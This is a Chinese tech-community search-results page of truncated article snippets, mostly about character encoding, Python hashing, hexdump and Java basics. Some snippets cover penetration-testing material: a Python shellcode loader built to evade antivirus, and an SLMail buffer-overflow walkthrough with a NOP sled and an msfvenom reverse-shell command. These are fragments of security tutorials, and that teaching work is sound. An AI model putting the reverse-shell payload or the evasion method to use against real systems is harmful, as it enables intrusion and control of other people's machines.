首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

BST:一款功能强大的二进制字符串代码格式转换工具

; 5、使用不同的编程语言或脚本语言来设置二进制字符串的格式,例如C/C++、Python和PowerShell; 6、执行自动化可变代码块缩进,以方便代码的复制/粘贴; 依赖组件 1、POSIX C库...: -f, --file=FILE 从文件读取十六进制输入 -w, --width=BYTES 将二进制字符串按指定字节长度拆分 -s,...,示例中使用Python语法格式和4个空格字符的代码缩进级别,并将Shellcode转储(-D)为十六进制转义(-x)二进制字符串的标准输出,字符长度为8字节: $ bstrings --verbose..." "\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" "\x31\x32\x33\x34\x35\x36\x37\...\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54" "\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"

29510

pyinstaller打包逆向分析,顺便免杀Windows Defender

1. python3利用shellcode免杀火绒 1.1 什么是shellcode 在攻击中,shellcode是一段用于利用软件漏洞的有效负载,shellcode是16进制的机器码,以其经常让攻击者获得...无av条件下使用 2.1 cs shellcode 这里以python为例,在cs上选择64位的进行生成 看下当前的shellcode 2.2 生成py文件 直接对上面的shellcode加载器和shellcode...,所以后期需要自己添加上去,前四个字节为python编译的版本,后四个字节为时间戳。...另一种是使用uncompyle6 其中在线反编译地址为: https://tool.lu/pyc 在线反编译效果 可以看到这个效果不是很好,有一部分代码并没有成功编译出来 那试试uncompyle6,目前可以在python3...\x47\x65\x63\x6b\x6f\x0d\x0a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\

2.7K20
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    常见加密方式和Python实现

    '\xe5\x8d\x97\xe5\x8c\x97'.decode() Out[2]: '南北' 注:两位十六进制常常用来显示一个二进制字节。...利用binascii模块可以将十六进制显示的字节转换成我们在加解密中更常用的显示方式: In [1]: import binascii In [2]: '南北'.encode() Out[2]: b'...容易计算:从原数据计算出MD5值很容易。 抗修改性:对原数据进行任何改动,哪怕只修改1个字节,所得到的MD5值都有很大区别。...MD5模块在python3中被移除,在python3中使用hashlib模块进行md5操作 import hashlib # 待加密信息 str = '这是一个测试' # 创建md5对象 hl =...为什么网上还有md5是16位的呢? 其实16位的长度,是从32位md5值来的。是将32位md5去掉前八位,去掉后八位得到的。 ---- 5.

    2.4K11

    【Coding】聊聊字符编码那些事儿

    二进制数中的一个“0”或者一个“1”,大小为一个bit,又称为1位(b); 一个8位的二进制数,大小为一个Byte,又称为1字节(B)。...因此,1KB=1024B(字节)=1024*8b(位) 包括二进制在内,常用的进制表示方法如下: 二进制:以0b作为前缀,0b1011。 八进制:以0o作为前缀,0o174。...在Python中,使用print函数输出,会自动转换为十进制数,如下: 当然,也可以使用int()函数来进行转换,不需要带前缀: 注意:被转换的数据必须以...如图,UTF-8就是Unicode的一种实现方式,当数据在计算机内存中被处理时,统一使用Unicode编码。当需要保存到硬盘或者需要传输的时候,就转换为UTF-8编码。...在linux中快速编码(-n表示不添加换行符): 在linux中解码: 使用python2编码: 使用python2解码:

    1.4K20

    【python系统学习16】编码基础知识

    6、7组成的 十六进制 使用0、1、2、3、4、5、6、7、8、9、a、b、c、d、e、f组成的 ASCII编码表中的“K” 二进制 八进制 十进制 十六进制 字母 01001011 113 75 4B...= 1024B 1MB(Megabyte 兆字节) = 1024KB 1GB(Gigabyte) = 1024MB 为什么办的100兆的宽带,撑死就只有10几兆的下载速度?...Python3中,程序处理我们输入的字符串使用Unicode编码 UTF-8码 数据在硬盘上存储,或者网络上传输时,用的UTF-8 因为节省空间。...字母b 这里之所以有个字母b,代表他是bytes(字节)类型的数据。...只不过%是url中的、\x是python中的 解码:decode() 语法: '你想解码的内容'.encode('你使用的编码表名称') 用法: print(b'\xe5\xb0\x8f\xe7\x9f

    66110

    2024全网最全面及最新且最为详细的网络安全技巧 七之 XSS漏洞典例分析POC;EXP以及 如何防御和修复(6)———— 作者:LJS

    因此,我们能够利用字符实体编码这个行为来转义用户输入的数据从而确保用户输入的数据只能被解析成“数据” 字符实体(character entities) 字符实体是一个转义序列,它定义了一般无法在文本内容中输入的单个字符或符号...因此,在“”和“”的内容中不会创建标签,就不会有脚本能够执行。这也就解释了为什么问题6中的脚本不会被执行。...这就是为什么问题1中的代码不能被执行。因为URL中被编码的“javascript”没有被解码,因此不会被URL解析器识别。该原则对协议后面的“:”(冒号)同样适用,即问题3也得到解答。...在Java程序中,如果Unicode转义序列\u000A出现在单行字符串注释中,它会被解释为行结束符(换行符),因此会导致接下来的Unicode字符不是注释的一部分。...在例B中,HTML解析器首先工作。然而接下来,JavaScript解析器开始解析在onclick事件处理器中的值。这是因为在onclick事件处理器中是script的上下文。

    12210

    Python与常见加密方式

    加密与解密函数的参数都要求是字节对象 ,在python中也就是我们的Bytes对象 Python 3.x中的str是字符串 , 使用python3进行加密与解密操作的时候,要确保我们操作的数据是Bytes...注:两位十六进制常常用来显示一个二进制字节。...利用binascii模块可以将十六进制显示的字节转换成我们在加解密中更常用的显示方式: In [1]: import binascii In [2]: '测试'.encode() Out[2]: b'...Python的MD5, SHA系列使用 由于MD5模块在python3中被移除,在python3中使用hashlib模块进行md5操作 import hashlib # 待加密信息 str = '这是一个测试...这种加密方式安全系数很高,因为它不用将解密的密钥进行传递,从而没有密钥在传递过程中被截获的风险,而破解密文几乎又是不可能的。

    2K21

    【Golang】深究字符串——从byte rune string到Unicode与UTF-8

    比如 张 字,unicode编码5F20,对应的十六进制处于0000 0800-0000 FFFF中,也就是3个字节。...1110x101 → 11100101 最终结果:11100101 10111100 10100000 16进制 E5BCA0 4.go语言的字符串 字符串是Go 语言中最常用的基础数据类型之一,实际上字符串是一块连续的内存空间...11100101 - 299 10111100 - 188 10100000 - 160 这就解释了为什么转换后的[]byte是[299 188 160] 在go语言中,byte其实是uint8的别名...超出这个范围,go在转换的时候,就会把多出来数据砍掉;但是rune转byte,又有些不同:会先把rune从UTF-8转换为Unicode,由于Unicode依然超出了byte表示范围,所以取低8位,其余的全部扔掉...101111100100000,就能解释为什么是输出32(这里有专门的汉字对应表,可以用其他做验证。)

    2.6K10

    Java基础第二天学习笔记

    整数默认是十进制的 * D:十六进制的数据表现形式 * 由0,1,…9,a,b,c,d,e,f(大小写均可)。以0x开头 * E:案例演示 * 输出不同进制表现100的数据。...* B:通过8421码的方式进行二进制和十进制的相互转换 * C:二进制到八进制的简易方式 * D:二进制到十六进制的简易方式 02.07_Java语言基础(原码反码补码)(了解) * A:为什么要学习原码反码补码...)(掌握) * A:什么是变量 * 在程序执行的过程中,在某个范围内其值可以发生改变的量 * B:变量的定义格式 * 数据类型 变量名 = 变量值; * C:为什么要定义变量 * 用来不断的存放同一类型的常量...* System.out.println("5+5="+5+5); * System.out.println(5+5+"=5+5"); 02.18_Java语言基础(char数据类型)(掌握) *...为什么呢? * 可以。因为Java语言采用的是Unicode编码。Unicode编码中的每个字符占用两个字节。

    67950

    day02笔记

    B:通过8421码的方式进行二进制和十进制的相互转换 C:二进制到八进制的简易方式 D:二进制到十六进制的简易方式 ###02.07_Java语言基础(原码反码补码)(了解) A:为什么要学习原码反码补码...)(掌握) A:什么是变量 在程序执行的过程中,在某个范围内其值可以发生改变的量 B:变量的定义格式 数据类型 变量名 = 变量值; C:为什么要定义变量 用来不断的存放同一类型的常量,并可以重复使用...###02.10_Java语言基础(数据类型的概述和分类)(掌握) A:为什么有数据类型 Java语言是强类型语言,对于每一种数据都定义了明确的具体数据类型,在内存中分配了不同大小的内存空间 B...System.out.println("5+5="+5+5); System.out.println(5+5+"=5+5"); ###02.18_Java语言基础(char数据类型)(掌握) A...为什么呢? 可以。因为Java语言采用的是Unicode编码。Unicode编码中的每个字符占用两个字节。

    50320

    Bytes型数据decode时是如何知道要把几位数据组合在一起的?

    大家在开发 Python 的过程中,经常会进行字符串encode为 Bytes型数据,或者把 Bytes 型数据 decode为字符串的操作。例如: ?...我们知道,在 Unicode 编码中,中文占3个字节,所以一个中文字符编码为 Bytes 型数据以后,会占用3个 Bytes 字符,例如: >>> a = '青' >>> a.encode() b'\xe9...\x9d\x92' >>> b = '青南' >>> b.encode() b'\xe9\x9d\x92\xe5\x8d\x97' 注意这里的\xe9需要作为整体来看待,表示一个16进制数。...\xe5\x8d\x97 对应“南” 为什么 Python 知道要把\xf0\x9f\xa4\x94这4个符号分到一组?为什么不会像下面这样分组?...而多字节的 Unicode 字符,都是从129开头的,所以英文字母数字与中文混合生成的 Bytes 型数据,在解码的时候也不会出现分组不明确的问题。

    1K20

    Linux 命令(142)—— hexdump 命令

    文章目录 1.命令简介 2.命令格式 3.选项说明 4.格式 4.1 格式字符串 4.2 转换字符串 5.常用示例 参考文献 1.命令简介 hexdump 以 ASCII、十进制、十六进制或八进制显示文件内容...2.命令格式 hexdump [options] FILE [...] 3.选项说明 -b 单字节八进制显示。 -c 单字节字符显示。 -C 规范化“十六进制+ASCII”显示。...-v 选项使 hextump 显示所有输入数据。没有 -v 选项,任何数量的输出行组,如果与前一组相同,将被替换为由一个星号构成的行。 -x 两字节十六进制显示。..._a[dox] 标记下一个输出字节的偏移量,在输入文件中累积。d、o、x 分别以十进制、八进制和十六进制显示。 _A[dox] 与 _a 转换字符串相同,只是在处理所有输入数据后只执行一次。....| 00000005 (5)格式化输出并标记每个字节的偏移量。

    3.6K30

    candump命令_生成dump文件命令

    文章目录 1.命令简介 2.命令格式 3.选项说明 4.格式 4.1 格式字符串 4.2 转换字符串 5.常用示例 参考文献 1.命令简介 hexdump 以 ASCII、十进制、十六进制或八进制显示文件内容...2.命令格式 hexdump [options] FILE [...] 3.选项说明 -b 单字节八进制显示。 -c 单字节字符显示。 -C 规范化“十六进制+ASCII”显示。...-v 选项使 hextump 显示所有输入数据。没有 -v 选项,任何数量的输出行组,如果与前一组相同,将被替换为由一个星号构成的行。 -x 两字节十六进制显示。..._a[dox] 标记下一个输出字节的偏移量,在输入文件中累积。d、o、x 分别以十进制、八进制和十六进制显示。 _A[dox] 与 _a 转换字符串相同,只是在处理所有输入数据后只执行一次。....| 00000005 (5)格式化输出并标记每个字节的偏移量。

    1.8K30

    阶段01Java基础day02JAVA基础

    C:二进制到八进制的简易方式 D:二进制到十六进制的简易方式 02.07_Java语言基础(原码反码补码) A:为什么要讲解有符号数据表示法 后面学习数据类型的时候,要学习强制类型转换,如果不知道有原反补会看不懂结果...在程序执行的过程中,在某个范围内其值可以发生改变的量 B:变量的定义格式 数据类型 变量名 = 变量值; C:为什么要定义变量 用来不断的存放同一类型的常量,并可以重复使用 02.10_Java...语言基础(数据类型的概述和分类) A:为什么有数据类型 Java语言是强类型语言,对于每一种数据都定义了明确的具体数据类型,在内存总分配了不同大小的内存空间 B:Java中数据类型的分类 基本数据类型...System.out.println("5+5="+5+5); System.out.println(5+5+"=5+5"); 02.18_Java语言基础(char数据类型) A:char c =...为什么呢? 可以。因为Java语言采用的是Unicode编码。Unicode编码中的每个字符占用两个字节。

    38320

    Java基础笔记02

    B:通过8421码的方式进行二进制和十进制的相互转换 C:二进制到八进制的简易方式 D:二进制到十六进制的简易方式 02.07_Java语言基础(原码反码补码) A:为什么要讲解有符号数据表示法 后面学习数据类型的时候...在程序执行的过程中,在某个范围内其值可以发生改变的量 B:变量的定义格式 数据类型 变量名 = 变量值; C:为什么要定义变量 用来不断的存放同一类型的常量,并可以重复使用 02.10_Java...语言基础(数据类型的概述和分类) A:为什么有数据类型 Java语言是强类型语言,对于每一种数据都定义了明确的具体数据类型,在内存总分配了不同大小的内存空间 B:Java中数据类型的分类 基本数据类型...System.out.println("5+5="+5+5); System.out.println(5+5+"=5+5"); 02.18_Java语言基础(char数据类型) A:char c =...为什么呢? 可以。因为Java语言采用的是Unicode编码。Unicode编码中的每个字符占用两个字节。

    63820

    缓冲区溢出实战-slmail

    EIP中的41是十六进制数,转换为字母就是A,也就是说此时EIP寄存器全部填满了A,ESP寄存器也被填满了A,每四个字节为一个存储单元进行存储, EIP就是当前邮件服务器SLmail下一个需要执行的指令的内存地址...运行脚本之后,调试的进程显示如下,满足预先计算的结果,则可验证字符位置是正确的,可以看到,EIP寄存器的数据即是脚本中buffer中设置的4个B(ASCII的Hex值为42),而ESP寄存器存放的正是脚本中...buffer的4个B后面的20个C,这里将为我们添加shellcode提供了可能性。...= '\x8f\x35\x4a\x5f' #NOP Sled nops = '\x90'*16 msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.126...LPORT=53 -f python -b \x00\x0a\x0d\ msf生成的shellcode。

    2K20
    领券